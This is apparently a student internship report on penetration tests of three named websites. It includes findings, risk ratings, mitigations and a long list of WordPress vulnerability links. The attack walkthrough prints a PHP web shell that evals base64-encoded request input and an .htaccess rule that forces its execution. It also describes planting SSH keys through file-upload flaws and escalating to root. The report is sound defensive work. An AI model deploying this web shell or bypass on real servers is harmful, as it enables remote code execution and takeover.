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Abstract

In an increasingly interconnected digital landscape, the security of organizations'
information systems has become paramount. Penetration testing, a proactive and
strategic approach to assessing and enhancing cybersecurity, plays a pivotal role in
safeguarding against evolving threats. This abstract delves into the essential aspects of
penetration testing, shedding light on its significance, methodologies, and the evolving
challenges it seeks to address.
Penetration testing, often referred to as ethical hacking, is a systematic process of
simulating real-world cyberattacks on an organization's infrastructure, applications, and
networks. The primary objective is to identify vulnerabilities before malicious actors can
exploit them, ultimately fortifying the organization's defense mechanisms.

The internship experience at FLUX IT provided an opportunity to work on the
penetration testing in real life scenario.When I was offered an internship , I was only the
penetration tester.Most Of my knowledge comes from solving CTF.I had to find
vulnerabilities within a Web Application and exploit it , if possible compromise the
machine that is running the Web Application.If any vulnerability is discovered , i will
inform the developer team about that bug and it’s severity.Then developer will whether
they will fix it or not.
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Chapter 1

Introduction

1.1 Overview/Background of the Work
I commenced my internship as Penetration tester at FLUX IT on 20th May 2023.

As a part of the internship I had the opportunity to pentest 3 websites.
3 of the websites were built using NodeJS , Wordpress and laravel respectively.

1.2 Objectives
The Objective of my work is to find and exploit vulnerabilities within the webapp and
system to show how an attacker could damage the system or webApp.So that developer
could fix those bugs.

The Websites I have pentested are:
http://vps-414ae572.vps.ovh.ca/ (pwned) => NodeJS
http://dndlab.org/ => Wordpress
http://sqcfbd.org/ (pwned) => laravel

The Scope of the pentest is limited within the given websites, no subdomain or internal
network.As per request , any sort of DDOS attack is not performed.

The objective of the pentest is to find vulnerabilities in websites and compromise the
server if possible.

I evaluated websites external security posture through an external network penetration
test from May 20th, 2023 to September 28, 2023. By leveraging a series of attacks, I
found critical level vulnerability that allowed me to compromise
http://vps-414ae572.vps.ovh.ca/.

I found several critical vulnerabilities in http://dndlab.org/. But Due to lack of user
credentials I could not exploit them.

I exploited a bug to compromise the server that could be also used in client side attacks
like phishing , Session and Cookie hijacking etc inside http://sqcfbd.org/.

It is highly recommended that owners of the sites address these vulnerabilities as soon
as possible as the vulnerabilities are easily found through basic reconnaissance and
exploitable without much effort.

1

1.3 Scopes

http://dndlab.org/


A penetration test, colloquially known as a pentest or ethical hacking, is an authorized
simulated cyberattack on a computer system, performed to evaluate the security of the
system;

So After pentest , the client will be able to know the bugs inside his system and fix and
secure it.
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Chapter 2

Literature Review

2.1 Relationship with Undergraduate Studies
Knowledge and skills gained from IUB’s undergraduate courses have helped in

pentesting .It would have been difficult if these courses were not covered before performing
pentest. Some of the courses are:

CSE 315: One must know about how operating system and it’s components.
CSE 309: In web application course I learnt about some coding languages, but these is for
my learning purpose, which is not have directly impact of doing my internship project
CSE 316: Without knowing how computer network and internet works , I will not be able
pentest website

2.2 Related works
This Section is irrelevant to penetration testing
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Chapter 3

Project Management & Financing

3.1 Work Breakdown Structure
This Section is irrelevant to penetration testing

3.2 Process/Activity wise Time Distribution
Penetration Testing has no such thing. Sometimes It takes one week to complete

pentesting, sometimes it takes one-two month to complete pentesting.

3.3 Gantt Chart
This Section is irrelevant to penetration testing

3.4 Process/Activity wise Resource Allocation
This Section is irrelevant to penetration testing.

3.5 Estimated Costing
Cost of pentesting depends on network scope , types of pentest and vulnerability and

client agreement.

4



Chapter 4

Methodology

During the pentest , black-box and gray-box methodology is used.

Black-box testing:In a black-box testing assignment, the penetration tester is placed in the
role of the average hacker, with no internal knowledge of the target system. Testers are not
provided with any architecture diagrams or source code that is not publicly available. A
black-box penetration test determines the vulnerabilities in a system that are exploitable from
outside the network.

This means that black-box penetration testing relies on dynamic analysis of currently running
programs and systems within the target network. A black-box penetration tester must be
familiar with automated scanning tools and methodologies for manual penetration testing.
Black-box penetration testers also need to be capable of creating their own map of a target
network based on their observations, since no such diagram is provided to them.

The limited knowledge provided to the penetration tester makes black-box penetration tests
the quickest to run, since the duration of the assignment largely depends on the tester’s
ability to locate and exploit vulnerabilities in the target’s outward-facing services. The major
downside of this approach is that if the testers cannot breach the perimeter, any
vulnerabilities of internal services remain undiscovered and unpatched.

White-box testing:White-box testing goes by several different names, including clear-box,
open-box, auxiliary and logic-driven testing. It falls on the opposite end of the spectrum from
black-box testing: penetration testers are given full access to source code, architecture
documentation and so forth. The main challenge with white-box testing is sifting through the
massive amount of data available to identify potential points of weakness, making it the most
time-consuming type of penetration testing.

Unlike black-box and gray-box testing, white-box penetration testers are able to perform
static code analysis, making familiarity with source code analyzers, debuggers and similar
tools important for this type of testing. However, dynamic analysis tools and techniques are
also important for white-box testers since static analysis can miss vulnerabilities introduced
by misconfiguration of target systems.

White-box penetration testing provides a comprehensive assessment of both internal and
external vulnerabilities, making it the best choice for calculation testing. The close
relationship between white-box pentesters and developers provides a high level of system
knowledge but may affect tester’s behaviors, since they operate based on knowledge not
available to hackers.
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Chapter 5

Body of the Project

5.1 Work Description
Penetration testers, also known as pen testers, help organizations identify and resolve
security vulnerabilities affecting their digital assets and computer networks.

Duty of a pentester is to seek, identify, and attempt to breach existing weaknesses in
digital systems and computing networks.These systems and networks include websites,
data storage systems, and other IT assets.

Penetration testing teams simulate cyberattacks and other security breaches designed to
access sensitive, private, or proprietary information. They utilize existing hacking tools
and strategies and devise their own.During a simulated attack, pen testers document
their actions to generate detailed reports indicating how they managed to bypass
established security protocols.

Penetration testing teams help their employers avoid the public relations fallout and loss
of consumer confidence that accompany actual hacks and cyberattacks. They also help
businesses and organizations improve their digital security measures.

6



5.2 Requirement Analysis
This Section is irrelevant to penetration testing.

5.3 System Analysis

5.3.1 Six Element Analysis
This Section is irrelevant to penetration testing

5.3.2 Feasibility Analysis
This Section is irrelevant to penetration testing

5.3.3 Problem Solution Analysis
This Section is irrelevant to penetration testing

5.3.4 E ect and Constraints Analysis
This Section is irrelevant to penetration testing

5.4 System Design
5.4.1 UML Diagrams

This Section is irrelevant to penetration testing

5.4.2 Architecture
This Section is irrelevant to penetration testing

5.5 Implementation

The Five Phases of Penetration Testing

Reconnaissance
The first penetration testing phase is reconnaissance. In this phase, the tester gathers as
much information about the target system as they can, including information about the
network topology, operating systems and applications, user accounts, and other relevant
information. The goal is to gather as much data as possible so that the tester can plan an
effective attack strategy

Scanning
Once all the relevant data has been gathered in the reconnaissance phase, it’s time
to move on to scanning.

In this penetration testing phase, the tester uses various tools
to identify open ports and check network traffic on the target system. Because open ports
are potential entry points for attackers, penetration testers need to identify as many open
ports as possible for the next penetration testing phase.

Vulnerability Assessment
The third penetration testing phase is vulnerability assessment, in which the tester uses all
the data gathered in the reconnaissance and scanning phases to identify potential

7



vulnerabilities and determine whether they can be exploited. Much like scanning,
vulnerability
assessment is a useful tool on its own but is more powerful when combined with the other
penetration testing phases.

Exploitation
Once vulnerabilities have been identified, it’s time for exploitation. In this penetration testing
phase, the penetration tester attempts to access the target system and exploit the identified
vulnerabilities, typically by using a tool like Metasploit to simulate real-world attacks.

Reporting
Once the exploitation phase is complete, the tester prepares a report documenting the
penetration test’s findings. The report generated in this final penetration testing phase can
be used to fix any vulnerabilities found in the system and improve the organization’s security
posture

5.6 Testing
5.6.1 Input

This Section Is irrelevant to penetration testing

5.6.2 Output

This Section Is irrelevant to penetration testing

5.6.3 Designing Test Cases

This Section Is irrelevant to penetration testing

5.6.4 Test Results
This Section Is irrelevant to penetration testing

5.6.5 Penetration Testing Process

Pentesting http://vps-414ae572.vps.ovh.ca/(51.79.254.118):

Demo: Pentest 1

At first I started to scan the site for all open ports.
For I use a popular tool called nmap

8

http://vps-414ae572.vps.ovh.ca/
https://drive.google.com/file/d/16-OpfrnoqMYEA-qK0H8nK0UYrCjKRNvr/view?usp=drive_link


Looks port 22,80,111,873,9000,9001 is open as you can above image
9001 is the NodeJS frontend server
9000 is the NodeJS backend server
22 is SSH server

There is an rsync server which is a file sharing server running on 873.
I want to see if it is password protected.

Looks like there is no password but the rsync server is in read-only mode .Meanning I can
only read from the server.The shared folder name is “dnd_lab”

From The server I’ve downloaded the /etc/passwd file which contains all user accounts on
the server.

9



Looks like there is only one account on the server named centos.it’s home directory is
/home/centos

Then I downloaded the source code of the NodeJS backend server.

After reading the source code , I found there is an arbitrary file upload vulnerability in
/api/document/thumb/ api.

Then I thought as long as I upload my ssh-public key in /home/centos/.ssh/authorized_keys
file , I can log in to the ssh server without password by using my ssh-private key and execute
commands on the server.

Then I generated a pair of ssh public private key. See the below picture

10



Then I uploaded my ssh-public key in /home/centos/.ssh/authorized_keys file.

Then I tried to login using ssh private key and managed to access the server.As You can see
I executed two command id ,who

11



Although We managed to get into the system , we can partially control it.
To have full control over the server , we must become root.
So I will try to escalate the privilege. Let’s run sudo -l

I see I don’t need a password to become root. So I ran sudo -i to become root.

Pentesting http://dndlab.org/:
This is a wordpress site.And This site is sitting behind reverse proxy making it impossible to
find out it’s open ports. Fortunately there is a tool called “wpscan” to find out the vulnerability
of wordpress sites.so I ran it against the server.

12

http://dndlab.org/
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But To exploit a wordpress site , you must need user credentials and I was not given any sort
of credential, So I was unable to proceed further. For a detailed list of vulnerabilities , go to
the detailed findings section.

Pentesting http://sqcfbd.org/:
Demo: Pentest sqcfbd

This website was built using laravel.
As Always I started the port scanning.

14

http://sqcfbd.org/
https://drive.google.com/file/d/1T9HEFlScQzgBdNBTaXe73lotNMXQinRs/view?usp=drive_link


My target is to gain access to the domain using SSH server.I was only given an account
credential on the website.

Next I Logged into the site.
There I found an upload page where you can upload images.
Instead of uploading an image I upload a text file.

Looks like the server does not filter uploaded file type.
I tried to find the location of my uploaded file.

15



I found it in /storage/images path

Since it uses php , then it must be running apache.So I uploaded an .htaccess file.

An .htaccess file is a directory-level configuration file supported by several web servers,
used for configuration of website-access issues, such as URL redirection, URL shortening,
access control, and more. The 'dot' before the file name makes it a hidden file in Unix-based
environments.

Inside .htaccess file:

DirectoryIndex rce.php

Since the file will be saved inside the /storage/images path.
It means when anyone visits http://sqcfbd.org/storage/images/ , the rce.php file will be
executed.

16
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The https://sqcfbd.org/storage/images/ path is forbidden by the owner of the site and php
file execution is disabled in this path, so I had to upload a .htaccess file to override the rules.

Then I uploaded the rce.php file.Inside the file

<?php
$decodedString = base64_decode($_REQUEST['code']);
echo eval($decodedString);
?>

The rce.php file will take base64 encoded php code , then it will decode and execute php
code.

At first I executed echo phpinfo(); php code , to view username and home directory.

17
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Then I listed the home directory to see if .ssh directory is existed or not.

Looks like the .ssh directory exists.

Now I generate my ssh private public key pair.

Then I wrote the content of the ssh public key file which is sqcfbd.pub into authorized_keys
file that existed in the .ssh directory.
Then I used the ssh private key to gain full access to the domain.

18



The .htaccess file can be used to attack the clients of the website.It can redirect a user to
any website.

I can also upload html files which can be used to perform client side attacks like session
hijacking ,phishing etc.For example, I uploaded the showcookie.html

19



When I visit the http://sqcfbd.org/storage/images/showcookie.html , it shows my cookie ,
which can be used by anyone to log into my account.

An attacker can send the cookie anonymously to his server using javascript.here it is a
demo.

20
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Chapter 6

Results & Analysis
Detailed Findings And Recommendations

Vulnerabilities Of http://vps-414ae572.vps.ovh.ca/

Arbitrary File Upload

There is an arbitrary file upload vulnerability in “book.ts” and “document.ts” which are
located inside /var/www/qops-data-collection-api/src/controller Directory. The vulnerability is
located inside reUploadThumb and UploadThumb function.

Mitigation: Just place the codes inside the yellow box to the top of red box

Misconfigurations

Unprotected Rsync

The server had an unprotected rsync server where anyone only downloads any file in the
server that has read permission to user “centos”.

Mitigation: I have already shutdown the server.

21



Expose Internal server

The NodeJS frontend server and backend which are running on port 9001 and 9000
respectively are exposed. Anyone can connect to them directly without going through nginx
reverse proxy server which is running on port 80.

This is important because the above mentioned file upload vulnerability’s exploitation
method does not work through nginx. I have to connect to port 9000 directly for that exploit
to work.

Mitigation:When you specify port number for server to listen , you must also specify host ip
(Interface ip) , in this case it should be 127.0.0.1 OR localhost . By default , nodeJS listens
on (0.0.0.0) which is any interface. This means anyone from an external network can
connect to this server.

Before Mitigation:



22

After mitigation:

Password Leak on pm2 logs

When any user logs in QOPS , the nodeJS api server writes email and password in plain
text in pm2 logs.

23



Potential Security Hazards:

Key-Value Overwrite

There is a Key-Value overwrite vulnerability in updateById() function which is located inside

document.ts .The file location is /var/www/qops-data-collection-api/src/controller .

You can see that req.body is directly passed on findOneAndUpdate() function. If anyone
adds some value for an existing key , it will overwrite that value for that key in the database.
Here is an example , 24



Mitigation: Just take what is needed from the request , then discard the request.

Potential Arbitrary File Read/Delete Vulnerability

If the node JS application is ever updated on server , Using mentioned above vulnerability
anyone can read any file on the server since the website running as root user.This hazard is
located inside provideImage() and updateById() function which is inside document.ts .

25



As long as someone updates the extension key with enough ../ (path traversing) , they can
read any file on the system.

Unrestricted route on client side
Anyone on the site register on the site and login. They can browse sensitive paths like
/setting which admin panel on the site.
There are other sensitive path like:

● /flag
● /data-verification etc.

Here are some screenshots.

26



Users and data Leaking
While navigating the site I noticed the site loads a lot of sensitive information (user list , data
etc.) from the server but doesn’t show. But BurpSuit can easily capture and show them.

27



Vulnerabilities Of http://sqcfbd.org/

Unrestricted File upload
The Lack of file type filtering in DrawingController class and PosterController class inside
DrawingController.php and PosterController.php respectively allows .htaccess file upload
and php file.

Recommendation: Only allow image files from client.

Vulnerabilities Of http://dndlab.org/

28

http://sqcfbd.org/
http://sqcfbd.org/


Wordpress version of the site is 4.9.18 which was released on 2021-05-12.

Vulnerabilities of main site(27 vulnerabilities identified)
● WordPress < 5.8 - Plugin Confusion

https://wpscan.com/vulnerability/95e01006-84e4-4e95-b5d7-68ea7b5aa1a8
● WordPress < 5.8.3 - SQL Injection via WP_Query

https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
● WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs

https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8
● WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query

https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722
● WordPress < 5.8.3 - Super Admin Object Injection in Multisites

https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7
● WordPress < 5.9.2 - Prototype Pollution in jQuery

https://wpscan.com/vulnerability/1ac912c1-5e29-41ac-8f76-a062de254c09
● WP < 6.0.2 - Reflected Cross-Site Scripting

https://wpscan.com/vulnerability/622893b0-c2c4-4ee7-9fa1-4cecef6e36be
● WP < 6.0.2 - Authenticated Stored Cross-Site Scripting

https://wpscan.com/vulnerability/3b1573d4-06b4-442b-bad5-872753118ee0
● WP < 6.0.2 - SQLi via Link API

https://wpscan.com/vulnerability/601b0bf9-fed2-4675-aec7-fed3156a022f
● WP < 6.0.3 - Stored XSS via wp-mail.php

https://wpscan.com/vulnerability/713bdc8b-ab7c-46d7-9847-305344a579c4
● WP < 6.0.3 - Open Redirect via wp_nonce_ays

https://wpscan.com/vulnerability/926cd097-b36f-4d26-9c51-0dfab11c301b
● WP < 6.0.3 - Email Address Disclosure via wp-mail.php

https://wpscan.com/vulnerability/c5675b59-4b1d-4f64-9876-068e05145431
● WP < 6.0.3 - Reflected XSS via SQLi in Media Library

https://wpscan.com/vulnerability/cfd8b50d-16aa-4319-9c2d-b227365c2156
● WP < 6.0.3 - CSRF in wp-trackback.php

https://wpscan.com/vulnerability/b60a6557-ae78-465c-95bc-a78cf74a6dd0
● WP < 6.0.3 - Stored XSS via the Customizer

https://wpscan.com/vulnerability/2787684c-aaef-4171-95b4-ee5048c74218
● WP < 6.0.3 - Stored XSS via Comment Editing

https://wpscan.com/vulnerability/02d76d8e-9558-41a5-bdb6-3957dc31563b
● WP < 6.0.3 - Content from Multipart Emails Leaked

https://wpscan.com/vulnerability/3f707e05-25f0-4566-88ed-d8d0aff3a872
● WP < 6.0.3 - SQLi in WP_Date_Query

https://wpscan.com/vulnerability/1da03338-557f-4cb6-9a65-3379df4cce47
● WP < 6.0.3 - Stored XSS via RSS Widget

https://wpscan.com/vulnerability/58d131f5-f376-4679-b604-2b888de71c5b
● WP < 6.0.3 - Data Exposure via REST Terms/Tags Endpoint

https://wpscan.com/vulnerability/b27a8711-a0c0-4996-bd6a-01734702913e
● WP < 6.0.3 - Multiple Stored XSS via Gutenberg

https://wpscan.com/vulnerability/f513c8f6-2e1c-45ae-8a58-36b6518e2aa9
● WP <= 6.2 - Unauthenticated Blind SSRF via DNS Rebinding

https://wpscan.com/vulnerability/c8814e6e-78b3-4f63-a1d3-6906a84c1f11
● WP < 6.2.1 - Directory Traversal via Translation Files

https://wpscan.com/vulnerability/2999613a-b8c8-4ec0-9164-5dfe63adf6e6
29
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● WP < 6.2.1 - Thumbnail Image Update via CSRF
https://wpscan.com/vulnerability/a03d744a-9839-4167-a356-3e7da0f1d532

● WP < 6.2.2 - Shortcode Execution in User Generated Data
https://wpscan.com/vulnerability/ef289d46-ea83-4fa5-b003-0352c690fd89

● WP < 6.2.1 - Contributor+ Stored XSS via Open Embed Auto Discovery
https://wpscan.com/vulnerability/3b574451-2852-4789-bc19-d5cc39948db5

● WP < 6.2.1 - Contributor+ Content Injection
https://wpscan.com/vulnerability/1527ebdb-18bc-4f9d-9c20-8d729a628670

Vulnerabilities of Theme

Theme Name: Divi

● ElegantThemes - Privilege Escalation
https://wpscan.com/vulnerability/c253d387-f05a-4a68-9554-ecb846942b28

● ElegantThemes (Divi, Extra, divi-builder) - Authenticated Stored Cross-Site Scripting
(XSS) https://wpscan.com/vulnerability/75b210d4-538b-4cd5-b06d-5d8f5e610377

● ElegantThemes (Divi, Extra, divi-builder < 4.0.10) - Authenticated Code Injection
https://wpscan.com/vulnerability/fddc2746-0e65-4a58-85d1-3d4ce20a1739

● Elegant Themes (Divi 3.0 - 4.5.2, Extra 2.0 - 4.5.2, Divi Builder 2.0 - 4.5.2) -
Authenticated Arbitrary File Upload
https://wpscan.com/vulnerability/bc250084-9549-4996-a11c-2a082f4d3f68

Theme Name: twentyfifteen
● Twenty Fifteen Theme <= 1.1 - DOM Cross-Site Scripting (XSS)

https://wpscan.com/vulnerability/2499b30a-4bcc-462a-935e-1fe4664b95d5

Identified Users
● dndlabor
● riddho-haque
● imran

Risk Assessment

vps-414ae572.vps.ovh.ca

Vulnerability Impact

Arbitrary File Upload Critical

Unprotected Rsync server High

Exposed Internal server Critical

Password Leak on pm2 logs High

Potential Key-Value Overwrite in Mongodb Medium

Potential Arbitrary File read/delete Medium
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sqcfbd.org

Vulnerability Impact

Unrestricted File upload Critical

dndlab.org

Vulnerability Impact

WordPress < 5.8 - Plugin Confusion Critical

WordPress < 5.8.3 - SQL Injection via
WP_Query

Medium

WordPress < 5.8.3 - Author+ Stored XSS
via Post Slugs

low

WordPress 4.1-5.8.2 - SQL Injection via
WP_Meta_Query

high

WordPress < 5.8.3 - Super Admin Object
Injection in Multisites

Medium

WordPress < 5.9.2 - Prototype Pollution in
jQuery

low

WP < 6.0.2 - Reflected Cross-Site Scripting low

WP < 6.0.2 - Authenticated Stored
Cross-Site Scripting

low

WP < 6.0.2 - SQLi via Link API Medium

WP < 6.0.3 - Stored XSS via wp-mail.php low

WP < 6.0.3 - Open Redirect via
wp_nonce_ays

low

WP < 6.0.3 - Email Address Disclosure via
wp-mail.php

low

WP < 6.0.3 - Reflected XSS via SQLi in
Media Library

low

WP < 6.0.3 - CSRF in wp-trackback.php medium

WP < 6.0.3 - Stored XSS via the
Customizer

low

WP < 6.0.3 - Stored XSS via Comment
Editing

low

WP < 6.0.3 - Content from Multipart Emails
Leaked

low

WP < 6.0.3 - SQLi in WP_Date_Query Medium

WP < 6.0.3 - Stored XSS via RSS Widget low



WP < 6.0.3 - Data Exposure via REST
Terms/Tags Endpoint

low

WP < 6.0.3 - Multiple Stored XSS via
Gutenberg

low

WP <= 6.2 - Unauthenticated Blind SSRF
via DNS Rebinding

Medium

WP < 6.2.1 - Directory Traversal via
Translation Files

High

WP < 6.2.1 - Thumbnail Image Update via
CSRF

Low

WP < 6.2.2 - Shortcode Execution in User
Generated Data

High

WP < 6.2.1 - Contributor+ Stored XSS via
Open Embed Auto Discovery

low

WP < 6.2.1 - Contributor+ Content Injection low

ElegantThemes - Privilege Escalation High

ElegantThemes (Divi, Extra, divi-builder) -
Authenticated Stored Cross-Site Scripting
(XSS)

low

ElegantThemes (Divi, Extra, divi-builder <
4.0.10) - Authenticated Code Injection

Critical

Elegant Themes (Divi 3.0 - 4.5.2, Extra 2.0 -
4.5.2, Divi Builder 2.0 - 4.5.2) -
Authenticated Arbitrary File Upload

Critical

Twenty Fifteen Theme <= 1.1 - DOM
Cross-Site Scripting (XSS)

low

Recommendation
Update the wordpress and its plugin and theme to the latest version.
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Chapter 7

Project as Engineering Problem
Analysis

7.1 Sustainability of the Project/Work
This Section is irrelevant to penetration testing

7.2 Social and Environmental Effects and Analysis
This Section is irrelevant to penetration testing

7.3 Addressing Ethics and Ethical Issues
This Section is irrelevant to penetration testing
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Chapter 8

Lesson Learned

8.1 Problems Faced During this Period
1. During Pensting sqcfbd.org I could not get php code execution due to owner

configuration

8.2 Solution of those Problems
1. To bypass that I put DirectoryIndex rce.php in .htaccess file , then uploaded the

rce.php file to get code execution.
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Chapter 9

Future Work & Conclusion

9.1 Future Works
This Section is irrelevant to penetration testing

9.2 Conclusion
Of all 3 sites , vps-414ae572.vps.ovh.ca is the worst site I have encountered. Practically it
has security in name.
dndlab.org is old and is not been updated many days.
And sqcfbd.org is decent.
Three sites have critical vulnerabilities , so it’s best to fix them as soon as possible.

From performing penetration testing on these sites , I’ve gained very valuable experience
and gained confidence to apply my knowledge in real world.
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